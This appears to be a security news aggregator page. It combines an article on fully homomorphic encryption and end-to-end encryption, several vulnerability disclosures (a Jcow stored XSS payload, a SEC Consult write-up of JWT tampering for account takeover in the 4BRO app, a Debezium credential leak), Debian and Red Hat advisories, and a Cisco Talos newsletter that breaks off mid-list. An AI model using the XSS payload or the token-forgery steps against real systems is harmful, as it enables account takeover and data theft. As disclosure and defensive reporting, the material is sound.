By Uzair Amir
Is End-to-End Encryption (E2EE) a Myth? Traditional encryption has vulnerabilities. Fully Homomorphic Encryption (FHE) offers a new hope…
This is a post from HackRead.com Read the original post: How FHE Technology Is Making End-to-End Encryption a Reality

Is End-to-End Encryption (E2EE) a Myth? Traditional encryption has vulnerabilities. Fully Homomorphic Encryption (FHE) offers a new hope for truly secure messaging, cloud storage, and data analysis.

Encryption is like waterproofing: it needs to be all or not at all. Just as it makes no sense to waterproof a left shoe and leave the right unprotected, encrypting the consumer component of a messaging app is pointless if content can later be decrypted on cloud servers.

It’s called end-to-end encryption (E2EE) for a reason, but up until now many services claiming to utilize this technology have fallen woefully short. From an architectural perspective, E2EE is difficult to implement, particularly in applications that serve millions of users.

However, the emergence of a relatively new encryption technology is raising hope that E2EE may become a reality rather than an aspiration. Its name is Fully Homomorphic Encryption (FHE) and its unique design makes it ideally suited to services that are reliant on true end-to-end encryption.

**How End-to-End Encryption Works**

End-to-end encryption is a technology that’s meant to ensure that only users communicating with one another can read the messages. This could be two individuals chatting via a messaging application or it could be a business exchanging payment data with another entity such as a bank. Data is encrypted on the sender’s device and decrypted on the recipient’s device, preventing intermediaries, including service providers, from accessing the content.

This is achieved by using cryptographic keys that encode the message before transmitting it in encrypted form. The counterparty then decodes the message using its own cryptographic key in order to read its content. In addition to messaging apps such as Signal and Telegram, the technology is used by email providers, cloud storage services, and file-sharing platforms. It’s no exaggeration to say that E2EE is the backbone of the internet.

While E2EE can prove very effective at preventing third parties from intercepting messages, it is by no means bulletproof. Concerted attempts by adversaries, ranging from governments to state-sponsored hackers, to weaken encryption and introduce backdoors have resulted in many services that purport to use E2EE being vulnerable.

Critically, from the user’s perspective, there is no easy means of verifying whether encryption has been maintained throughout. As a result, individuals are compelled to take service providers at their word when they promise that messages are fully encrypted.

**How Encrypted Is Fully Encrypted?**

When a service claims to be end-to-end encrypted, it should be just that. In reality, implementations can differ wildly in terms of encryption strength. While it’s theoretically possible for users to check that the service they’re using is implementing robust encryption, it’s technically complex to do so, placing this ability beyond the reach of most users.

Telegram, for instance, allows users to verify that its open-source code is the same as that being used within its mobile applications and on desktop. However, this requires running a series of Terminal commands.

Telegram founder Pavel Durov has previously taken aim at other messaging applications, questioning the integrity of their E2EE. In his personal Telegram channel, he’s claimed: “An alarming number of important people I’ve spoken to remarked that their “private” Signal messages had been exploited against them in US courts or media. But whenever somebody raises doubt about their encryption, Signal’s typical response is “we are open source so anyone can verify that everything is all right”. That, however, is a trick.”

He then elaborates on the inability for users to verify that Signal’s Github code is the same as that running in the app. It should be noted that despite its claims to offer superior encryption, Telegram has also fielded accusations of weaknesses in its own E2EE implementation.

One of the challenges is that even when a service provider has implemented robust encryption, there is still the potential for messages to be deciphered. From weak key management to compromised devices due to malware, there’s a multitude of ways in which content can be accessed by adversaries. And when a key is compromised, unless the provider generates new keys for every session, it’s possible to decrypt the entire messaging history.

Finally, even when E2EE is working optimally, its implementation places additional computational demands on networks, resulting in increased latency and reduced performance, especially on devices with limited processing power or on blockchains where resources are capped. For this reason, E2EE is by no means impregnable. Can FHE solve some of these challenges, or will it run into the same problems that have weakened existing encryption protocols?

****FHE Meets E2EE****

One of the weak points with traditional E2EE is when it comes to decrypting the data: it’s here that there’s potential for a third party to gain access to it. FHE, in comparison, allows computation to be performed directly on encrypted data without decryption, ensuring that data remains protected throughout the entire process. This is its greatest attribute and the one that differentiates it from other encryption technologies.

It may be hard to visualize the benefit FHE brings to bear in this respect when considering a messaging application, in which the data must be decrypted before it can be read by the recipient. But consider another instance in which FHE proves superior at safeguarding data within E2EE systems: email. Here, FHE makes it possible for an email provider or cloud service to return results from an encrypted database without actually seeing the data.

This capability can also be extended to numerous other use cases in which data can be analyzed without disclosing its contents: analysts can run algorithms on encrypted datasets, with the results only decryptable by the intended recipient. Or machine learning models can be trained using encrypted data. This allows organizations to leverage powerful AI tools without compromising the privacy of the underlying data.

Within a blockchain context, fully homomorphic encryption also has significant potential, particularly in the construction of end-to-end encrypted applications for messaging or transmitting financial data. Fhenix, for example, is powered by fhEVM, a variation of the Ethereum Virtual Machine, that supports confidential smart contracts. As a result, confidential data can be analyzed and transmitted without its contents being disclosed.

Given that data remains encrypted at all stages with FHE – in transit, at rest, and during processing – it’s easy to see why developers are so excited about its potential for strengthening E2EE systems.

FHE can reduce the attack surface and ensure that sensitive data is never exposed to unauthorized parties, even during processing. This eliminates the need to trust service providers since they only handle encrypted data and mitigates the risks associated with data breaches. 

If FHE can achieve wider adoption, both in blockchain and traditional systems, end-to-end encryption may soon live up to its name, providing truly unbreakable data protection.

1.  WhatsApp Engineers Fear Encryption Flaw Exposes User Data
2.  8 tips to protect company data sent via home internet connections
3.  Signal, AI Generated Art Least, Amazon, Facebook Most Invasive Apps

How FHE Technology Is Making End-to-End Encryption a Reality

Jcow Social Networking versions 14.2 up to 16.2.1 suffer from a persistent cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Jcow Social Networking 14.2 < 16.2.1 | Stored XSS # Date: 2024-05-23# Author: tmrswrr# Vendor Homepage: https://www.jcow.net/# Software Link: https://sourceforge.net/projects/jcow/# Tested : https://demo.jcow.net/# Version : 14.2 < 16.2.11) Login with any user Click invite place : https://127.0.0.1/Jcow/index.php?p=invite2) Write in To (Email address) field your payload : "><img src=x onerrora=confirm() onerror=confirm(1)>3) After Send invitations you will be see alert button

Jcow Social Network Cross Site Scripting

4BRO versions prior to 2024-04-17 suffer from insecure direct object reference and API information disclosure vulnerabilities.

    SEC Consult Vulnerability Lab Security Advisory < 20240522-0 >=======================================================================               title: Broken access control & API Information Exposure             product: 4BRO App  vulnerable version: before 2024-04-17       fixed version: 2024-04-17          CVE number: -              impact: Critical            homepage: https://www.4bro.de               found: 2023-05-07                  by: Max Rull (Office Bochum)                      SEC Consult Vulnerability Lab                      An integrated part of SEC Consult, an Eviden business                      Europe | Asia                      https://www.sec-consult.com=======================================================================Vendor description:-------------------"4BRO is a German company known for producing iced tea beverages. The brand offersa variety of flavors, including unique combinations such as peach, bubblegum,and watermelon mint. 4BRO emphasizes modern and appealing packaging, targetinga younger demographic. The company promotes its products through various platformsand incentivizes customer loyalty with their app, which allows users to collectpoints for rewards. The company's headquarters is located in Germany, and theirproducts are widely available both online and in retail stores."Source: https://www.4bro.deBusiness recommendation:------------------------The vendor has fixed the security issues in the API server as of 2024-04-17.SEC Consult highly recommends to perform a thorough security review of the productconducted by security professionals to identify and resolve potential furthersecurity issues.Vulnerability overview/description:-----------------------------------1) Broken access control via IDOR in 4BRO app APIAn IDOR vulnerability (Insecure Direct Object Reference) allows an attackerto change the username in the Bearer token used for authentication in the 4BRO app.This leads to account takeover as a result of broken access control (poor Bearertoken verification). Attackers are able to access all data or Bro points ("broins")from other users.2) API Information ExposureWhen opening the app as an unauthenticated user, the 4BRO app loads JSON datafrom a publicly available API endpoint containing sensitive data like e-mailaddresses of employees, internal invoices, a CV including personal information,a gift card etc.Proof of concept:-----------------1) Broken access control via IDOR in 4BRO app APIWhen logging in into the 4BRO app, the server returns a JWT (JSON Web Token).The "login" HTTP request looks like this:--------------------------------------------------------------------------------POST /api/user/signin HTTP/2Host: adminpanel.4bro.deContent-Type: application/json[...]{"email":"<login email>","password":"<login password>"}--------------------------------------------------------------------------------The server responds with a JWT used for authentication and additionalaccount-related data:--------------------------------------------------------------------------------HTTP/2 200 OKContent-Type: application/json; charset=utf-8[...]{     "token": "<JWT here>",     "userData": {         "isBlocked": false,         "_id": "[...]",         "userType": "USER",         "email": "<login email>",         "broins": 0,         "deviceId": null,         "userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ",         "address": [{                 "_id": "[...]",                 "streetName": "[...]",                 "streetNumber": "[...]",                 "postalcode": "[...]",                 "city": "[...]",                 "firstName": "[...]",                 "lastName": "[...]",                 "country": "at"             }         ],         "ratings": [],         "__v": 0,         "pushToken": "[...]",         "telekomUUID": "[...]"     }}--------------------------------------------------------------------------------Because the JWT is only base64-encoded, it is easy to decode the JWT'sheader and payload as clear text using JWT decoders like https://token.dev/:--------------------------------------------------------------------------------Header:{   "kid": "[...]",   "alg": "RS256"}--------------------------------------------------------------------------------Payload:{   "sub": "[...]",   "event_id": "[...]",   "token_use": "access",   "scope": "aws.cognito.signin.user.admin",   "auth_time": 1683565567,   "iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]",   "exp": 1683569167,   "iat": 1683565567,   "jti": "[...]",   "client_id": "[...]",   "username": "<login email>"}--------------------------------------------------------------------------------The payload of the JWT contains multiple values indicating that AWS Cognito is in use.By changing the "username" value of the JWT payload to a victim email, it is possibleto use the modified JWT for authenticating as the victim. The victim should alreadyhave a normally registered account in the 4BRO app. By trial and error, it turns outthat even the following modified JWT payload gets accepted by the server:--------------------------------------------------------------------------------{   "sub": "0",   "event_id": "0",   "token_use": "access",   "scope": "aws.cognito.signin.user.admin",   "auth_time": 0,   "iss": "",   "exp": 0,   "iat": 0,   "jti": "0",   "client_id": "0",   "username": "<login email>"}--------------------------------------------------------------------------------Meanwhile, the "kid" property in the JWT header must be a valid value, but can belongto any other already existing 4BRO app account. The JWT signature can be the sameand does not get verified at all.Using the modified JWT, all API methods supported by the 4BRO app can be executed.Because the server only checks the "username" property in the JWT payload and doesslim to none JWT verification, the server thinks that the request came from theaccount associated with the login email contained in the "username" property.This way, sensitive data such as the current "broin" balance, full user data as seenin the login response, previous transactions, redeemed vouchers and goodies etc.can be accessed without restrictions, using the 4BRO API. Also, the "sending broins"action can be performed so that earned "broins" could be transferred to an attacker'saccount balance.2) API Information ExposureBy monitoring the 4BRO app's requests over a proxy, it can be observed thatthe following HTTP request is made when opening the "Goodies" section of the app:--------------------------------------------------------------------------------GET /api/goodies?pageSize=1000 HTTP/2Host: adminpanel.4bro.de[...]--------------------------------------------------------------------------------The response is a JSON object containing all goodies that are or were at some pointavailable in the 4BRO app:--------------------------------------------------------------------------------HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 327138[...]{     "goodiesList": [{             "_id": "61950603005c650530b63aac",             "name": "1x 4BRO Getränk Imbiss",             "longDescription": "[...]",             "shortDescription": "Auf unseren Nacken!",             "imagePath":"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg",             "category": "Food",             "quantity": 999999999999808,             "costOfGoodie": 250,             "supplier": "<email removed>",             "totalGoodies": 999999999999861,             "goodieAvailableTime": "Unlimited",             "deliveryMethod": "partnerCoupon",             "isNewGoodie": false,             "inhouseAppVoucherUrl":"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined",             "__v": 1,             "rating": {                 "value": 3.991869918699184,                 "total": 123             },             "forceGoodie": "true",             "goodieAvailableEndTime": null,             "goodieAvailableStartTime": null,             "restriction": [],             "hidden": false,             "slashedCostOfGoodie": null         },{    [...]    },    [...]    }     ],     "goodieCount": 371}--------------------------------------------------------------------------------This JSON object contains already sensitive data such as the goodie supplier's emailaddresses. Out of the 371 goodies, 36 of those have a URL to a PDF file containedwithin the "inhouseAppVoucherUrl" property. Because these files are hosted on anAWS S3 bucket, everyone can access these documents without authentication.These documents seem to contain various sensitive company internal and personalinformation.While discovering vulnerability 1), we found that old gift codes were also stored asPDF files on the AWS S3 bucket. The names of the gift code PDF files indicate thatthere may be more similarly named documents (IDOR) which could be detected in anautomated way. This could be leveraged to find additional gift code PDF files storedon the AWS S3 bucket.Vulnerable / tested versions:-----------------------------The following app version has been tested and downloaded through Google Play store,which was the most recent version available at the time of the test:* 3.14.7Because the vulnerability is actually server-side within the API, the iOS app wasalso affected at the time the vulnerabilities were discovered.Vendor contact timeline:------------------------2023-06-12: Contacting vendor through broservice@4bro.de (owner) and info@dev5310.com             (developers according to Google Play store)2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which             parts of the application are affected and whether any costs would arise             before they provide us with a security contact.2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and             that no costs are involved.2023-06-19: Vendor requests a phone conference, scheduled for 21st June.2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next             steps in phone call. Providing security advisory to vendor.2023-06-29: Vendor has sent the advisory to the developer team for evaluation             and will notify SEC Consult about the release of the security patch.2023-08-18: Asking for a status update.2023-08-31: It is planned to release an Android/iOS app update end of September2023-09-18: Vendor needs to postpone update, no new date available.2023-11-08: Asking for a status update; no response.2023-11-21: Asking for a status update.2023-12-11: Vendor response, fix is available in test environment, production             will be fixed by end of this year.2024-01-24: Asking for a status update; no response.2024-02-12: Asking for a status update.2024-02-12: Vendor is still waiting for a response from their IT.2024-04-17: Asking for a status update.2024-04-17: Vendor states that the vulnerabilities have been fixed.2024-04-17: Asking for the fix date, whether an app update was needed for applying             the fix, and the fixed app version. No response.2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release             date to 2024-05-21. No response.2024-05-22: Release of security advisorySolution:---------The vendor implemented a fix in the affected API server as of 2024-04-17.An app update on Android or iOS is not required to apply the fix.Workaround:-----------NoneAdvisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF M. Rull / @2024

4BRO Insecure Direct Object Reference / API Information Exposure

Debezium UI version 2.5 suffers from a credential disclosure vulnerability.

    # Exploit Title: Debezium UI - Credential Leakage# Google Dork: N/A# Date: [2024-03-11]# Exploit Author: Ihsan Cetin, Hamza Kaya Toprak# Vendor Homepage: https://debezium.io/# Software Link: N/A# Version: < 2.5 (REQUIRED)# Tested on: [N/A]# CVE : CVE-2024-28736Proof of concept:# Details#Debezium-ui (version 2.5) is vulnerable to a password exposure issue that could allow an attacker to retrieve sensitive credentials in plaintext format.# PoC :#Unmasked Password in Connector Configuration: When navigating to the connectors section within the application's connector screen, the password field, which should ideally be masked for security purposes, is briefly displayed in plaintext format during the initial seconds.# Plaintext Password Retrieval via API Endpoint: By accessing the URLhttp://10.0.15.51:8080//api/connectors/1/account-activity/config#and searching for the database.password parameter, an attacker can retrieve the database password in plaintext format without any authentication.

Debezium UI 2.5 Credential Disclosure

Debian Linux Security Advisory 5695-1 - Manfred Paul discovered that an attacker with arbitrary read and write capability may be able to bypass Pointer Authentication in the WebKitGTK web engine.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5695-1                   security@debian.org  
https://www.debian.org/security/                           Alberto Garcia  
May 22, 2024                          https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : webkit2gtk  
CVE ID         : CVE-2024-27834

The following vulnerabilities have been discovered in the WebKitGTK  
web engine:

CVE-2024-27834

   Manfred Paul discovered that an attacker with arbitrary read and  
   write capability may be able to bypass Pointer Authentication.

For the oldstable distribution (bullseye), this problem has been fixed  
in version 2.44.2-1~deb11u1.

For the stable distribution (bookworm), this problem has been fixed in  
version 2.44.2-1~deb12u1.

We recommend that you upgrade your webkit2gtk packages.

For the detailed security status of webkit2gtk please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/webkit2gtk

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEYrwugQBKzlHMYFizAAyEYu0C2AIFAmZNsSQACgkQAAyEYu0C  
2AL2wxAAnx+ORCkML2MQZukV0lBt7yHzBHWaZHDWF8C3hbo8DPxqpNPGSRwpLb6M  
xzRbW+7LvdlQUuSEMs0ms00jh1wkmQh1cAa09n778+pYhu5oLm09HOU51ybWaWRM  
gojJiHC6svqhov5vxtqbSTUrpXzGQhp9ZYUAyCI49eJSzROIdk188CHHY1PxHZH1  
nwlQddTeaL63f+0nyXzHomFtgOhyA6ESmVgunS8/yoIxQUOn3T6MQOvdKlizMJAr  
watZ4fQq69AEqFMC2x8cCIZ6zZAhu4dLwagnundEdwZxeKRa6vAv6N5BLFx9lC8q  
HARmaMttDl1+3AMHwMiZDqdNt++L4Ldgy26PJQa8hsDlAmXQsR5qtR/xmS7+l6AN  
euXWeyF2DBM3GZgRzsACFJsnqYkQ9snQZdSYzHi2//xyskTpyHxYwMp/wFp4Kirt  
F05d66TocWkWviuYddytl0cRGb3X1I7pB+8vkw90ugIMJKFxh6cXDDPch6kTdMLg  
YPsSxV8/h1jcxr5MgST1LntvvhgGT70YV9HWJleQ33bmWqEQ6xF7vrIsKy3MiFx1  
jKGoI7GvgOrWRDUIZuw4680f9Hv4Cpz4R0uKMOS4wTbrEQkhv96E/sAcER8P9VYm  
9U6AuFAoA5KRU8BysUD3A/PzHo+wKwTSBUuKUGex8HnPIfmUEyw=  
=yLoR  
-----END PGP SIGNATURE-----

Debian Security Advisory 5695-1

Red Hat Security Advisory 2024-3354-03 - Red Hat Fuse 7.13.0 release is now available. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Issues addressed include HTTP request smuggling, bypass, denial of service, deserialization, and traversal vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3354.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat Fuse 7.13.0 release and security update  
Advisory ID:        RHSA-2024:3354-03  
Product:            Red Hat JBoss Fuse  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:3354  
Issue date:         2024-05-24  
Revision:           03  
CVE Names:          CVE-2022-41678  
====================================================================

Summary: 

Red Hat Fuse 7.13.0 release is now available. The purpose of this text-only errata is to inform you about the security issues fixed in this release.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat Fuse 7.13.0 is released which includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.

Security Fix(es):

* undertow: OutOfMemoryError due to @MultipartConfig handling (CVE-2023-3223)

* jetty-servlets: jetty: Improper addition of quotation marks to user inputs in CgiServlet (CVE-2023-36479)

* jetty: Improper validation of HTTP/1 content-length (CVE-2023-40167)

* jetty-http: jetty: Improper validation of HTTP/1 content-length (CVE-2023-40167)

* avro: apache-avro: Apache Avro Java SDK: Memory when deserializing untrusted data in Avro Java SDK (CVE-2023-39410)

* JSON-java: parser confusion leads to OOM (CVE-2023-5072)

* http2-hpack: jetty: hpack header values cause denial of service in http/2 (CVE-2023-36478)

* spring-boot: org.springframework.boot:spring-boot-actuator class vulnerable to denial of service (CVE-2023-34055)

* tomcat: HTTP request smuggling via malformed trailer headers (CVE-2023-46589)

* activemq: Apache ActiveMQ: Deserialization vulnerability on Jolokia that allows authenticated users to perform RCE (CVE-2022-41678)

* logback: serialization vulnerability in logback receiver (CVE-2023-6378)

* logback: A serialization vulnerability in logback receiver (CVE-2023-6481)

* solr: : Apache Solr: Host environment variables are published via the Metrics API (CVE-2023-50290)

* shiro: path traversal attack may lead to authentication bypass (CVE-2023-46749)

* tomcat: Leaking of unrelated request bodies in default error page (CVE-2024-21733)

* springframework: URL Parsing with Host Validation (CVE-2024-22243)

For more details about the security issues, including the impact, CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-41678

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2209689  
https://bugzilla.redhat.com/show_bug.cgi?id=2239630  
https://bugzilla.redhat.com/show_bug.cgi?id=2239634  
https://bugzilla.redhat.com/show_bug.cgi?id=2242521  
https://bugzilla.redhat.com/show_bug.cgi?id=2243123  
https://bugzilla.redhat.com/show_bug.cgi?id=2246417  
https://bugzilla.redhat.com/show_bug.cgi?id=2251917  
https://bugzilla.redhat.com/show_bug.cgi?id=2252050  
https://bugzilla.redhat.com/show_bug.cgi?id=2252185  
https://bugzilla.redhat.com/show_bug.cgi?id=2252230  
https://bugzilla.redhat.com/show_bug.cgi?id=2252956  
https://bugzilla.redhat.com/show_bug.cgi?id=2258132  
https://bugzilla.redhat.com/show_bug.cgi?id=2258134  
https://bugzilla.redhat.com/show_bug.cgi?id=2259204  
https://bugzilla.redhat.com/show_bug.cgi?id=2265735

Red Hat Security Advisory 2024-3354-03

Two weeks before Russia invaded Ukraine in February 2022, a large, mysterious new Internet hosting firm called Stark Industries Solutions materialized and quickly became the epicenter of massive distributed denial-of-service (DDoS) attacks on government and commercial targets in Ukraine and Europe. An investigation into Stark Industries reveals it is being used as a global proxy network that conceals the true source of cyberattacks and disinformation campaigns against enemies of Russia.

Stark Industries Solutions: An Iron Hammer in the Cloud

Plus, SS7 vulnerabilities are being exploited and BreachForums is taken down again.

Thursday, May 23, 2024 14:00

Since the advent of products like the Tile and Apple AirTag, both used to keep track of easily lost items like wallets, keys and purses, bad actors and criminals have found ways to abuse them. 

These adversaries can range from criminals just looking to do something illegal for a range of reasons, but maybe just looking to steal a physical object, to just a jealous or suspicious spouse or partner who wants to keep tags on their significant other. 

Apple and other manufacturers who make these devices have since taken several steps to curb the abuse of these devices and make them more secure. Most recently, Google and Apple announced new alerts that would hit Android and iOS devices and alert users that their devices’ location is being connected to any location-tracking device.  

“With this new capability, users will now get an ‘\[Item\] Found Moving With You’ alert on their device if an unknown Bluetooth tracking device is seen moving with them over time, regardless of the platform the device is paired with,” Apple stated in its announcement. 

Companies Motorola, Jio and Eufy also announced that they would be adhering to these new standards and should release compliant products soon.  

Certainly, products like the AirTag and Samsung trackers that these companies have direct control over will now be more secure, and hopefully less ripe for abuse by a bad actor, but it’s far from a total solution to the problem that these types of products pose. 

As I’ve pointed out in the past with security cameras and any other range of internet-connected devices, online stores are filled with these types of products, promising to track users’ personal items with an app so they don’t lose common household items like their phones, wallets and keys.  

Amazon has countless listings under “location tag” for a range of AirTag-like products made by unknown manufacturers. Some of these products are slim enough to fit right into the credit card pocket of a wallet or purse,  and others are smaller than the average AirTag and even advertise that they can remain hidden inside a car.  

I admittedly haven’t been able to dive into these individual devices, but some of them come with their own third-party apps, which come with their own set of security caveats and completely take it out of platform developers’ hands.  

There are also other “find my device”-type services that pose additional security concerns outside of just buying a small tag. Android’s new, enhanced “Find My Device” network is a crowdsourced solution to help users potentially find their lost devices, similar to iOS’ Find My network.  

The Find My Device network works by using other Android devices to silently relay the registered device’s approximate location, even if the device being searched for is offline or turned off. In the wrong hands, there are a range of ways that can be abused on its own.  

So, rather than relying on developers and manufacturers to make these services more secure, I have a few tips for how to use AirTag-like devices safely, if you really can’t come up with a better solution for not losing your keys. 

*   Check for suspicious tracking devices. On iOS, this means opening the “Find My” app and navigating to Items > Items Detected Near You. Any unfamiliar AirTags will be listed here. On Android, you can do the same thing by going to Settings > Safety & Emergency > Unknown Tracker Alerts > Scan Now. 
*   Remove yourself from any “Sharing Groups” unless it’s a trusted contact in your phone using the Find My app on iOS. 
*   If location tracking is your primary concern (especially for parents and their children) using the Find My app on iOS and Android is generally a more secure option than trusting a third-party app downloaded from the app store or relying on a Bluetooth connection.  
*   Manage individual apps’ settings to ensure only the services that \*really\* need to track your device’s physical location are using it. (Ex., you probably don’t need Facebook tracking that information.) 
*   Since AirTags are connected to your Apple ID, ensure that login is secured with multi-factor authentication (MFA) or using a passkey.  

**The one big thing **

Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation. Threat actors employ a variety of techniques to embed brand logos within emails. One simple method involves inserting words associated with the brand into the HTML source of the email. New data from Talos found that popular brands like PayPal, Microsoft, NortonLifeLock and McAfee are among some of the most-impersonated brands in these types of phishing emails.  

**Why do I care? **

Brand impersonation could happen on many online platforms, including social media, websites, emails and mobile applications. This type of threat exploits the familiarity and legitimacy of popular brand logos to solicit sensitive information from victims. In the context of email security, brand impersonation is commonly observed in phishing emails. Threat actors want to deceive their victims into giving up their credentials or other sensitive information by abusing the popularity of well-known brands. 

**So now what? **

Well-known brands can protect themselves from this type of threat through asset protection as well. Domain names can be registered with various extensions to thwart threat actors attempting to use similar domains for malicious purposes. The other crucial step brands can take is to conceal their information from WHOIS records via privacy protection. And users who want to learn more about Cisco Secure Email Threat Defense's new brand impersonation detection tools can visit this site. 

**Top security headlines of the week **

**Adversaries have been quietly exploiting the backbone of cellular communications to track Americans’ location for years,** according to a U.S. Cybersecurity and Infrastructure Security Agency (CISA). The official broke ranks with their agency and reportedly shared this information with the Federal Communications Commission (FCC). The official said that attackers have used vulnerabilities in the SS7 protocol to steal location data, monitor voice and text messages, and deliver spyware. Other targets have received text messages containing fake news or disinformation. SS7 is the protocol used across the globe that routes text messages and calls to different devices but has often been a target for attackers. In the past, other vulnerabilities in SS7 have been used to gain access to telecommunications providers’ networks. In their written comments to the FCC, the official said that these vulnerabilities are the “tip of the proverbial iceberg” of SS7-related exploits used against U.S. citizens. (404 Media, The Economist) 

**The FBI once again seized the main site belonging to BreachForums,** a popular platform for buying and selling stolen personal information. Last year, international law enforcement agencies took down a previous version of the cybercrime site and arrested its administrator, but the new pages quickly emerged, using three different domains since the last disruption. American law enforcement agencies also took control of the forum’s official Telegram account, and a channel belonging to the newest BreachForums administrator, “Baphomet.” However, the FBI has yet to publicly state anything about the takedown or any potential arrests. BreachForums isn’t expected to be gone for long, as another admin named “ShinyHunters” claims the site will be back with a new Onion domain soon. ShinyHunters claims they’ve retried access to the seized clearnet domain for BreachForums, though they did not provide specific methods. BreachForums is infamous for being a site where attackers can buy and sell stolen data, offer their hacking services or share recent TTPs. (TechCruch, HackRead) 

**The U.S. Department of Justice charged three North Koreans with crimes related to impersonating others to obtain remote employment in the U.S., which in turn generated funding for North Korea’s military.** The three men, and another U.S. citizen, were charged with what the DOJ called “staggering fraud” in which they secured illicit work with several U.S. companies and government agencies using fraudulent identities from 60 real Americans. The U.S. citizen was allegedly placed laptops belonging to U.S. companies at various residences so the North Koreans could hide their true location. North Korean state-sponsored actors have used these types of tactics for years, often relying on social media networks like LinkedIn to fake their personal information and obtain jobs or steal sensitive information from companies. More than 300 companies may have been affected, with the perpetrators earning more than $6.8 million, most of which was used to “raise revenue for the North Korean government and its illicit nuclear program,” according to the DOJ. (ABC News, Bloomberg) 

**Can’t get enough Talos? **

*   Proactive Threat Hunting in Duo Data 
*   Talos Takes Ep. #184: Recapping RSA  
*   You have to look out for these hacks in 2024! 

**Upcoming events where you can find Talos **

**ISC2 SECURE Europe** **(May 29)** 

_Amsterdam, Netherlands_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent._  

**Cisco Live** **(June 2 - 6)** 

_Las Vegas, Nevada_ 

> _B_ill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

**_AREA41_** **_(June 6 – 7)_** 

_Zurich, Switzerland_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches._ 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202   
**MD5:** e4acf0e303e9f1371f029e013f902262   
**Typical Filename:** FileZilla\_3.67.0\_win64\_sponsored2-setup.exe   
**Claimed Product:** FileZilla   
**Detection Name:** W32.Application.27hg.1201 

**SHA 256:** a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0   
**MD5:** b4440eea7367c3fb04a89225df4022a6   
**Typical Filename:** Pdfixers.exe   
**Claimed Product:** Pdfixers   
**Detection Name:** W32.Superfluss:PUPgenPUP.27gq.1201 

**SHA 256:** 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab   
**MD5:** 4c648967aeac81b18b53a3cb357120f4   
**Typical Filename:** yypnexwqivdpvdeakbmmd.exe   
**Claimed Product:** N/A    
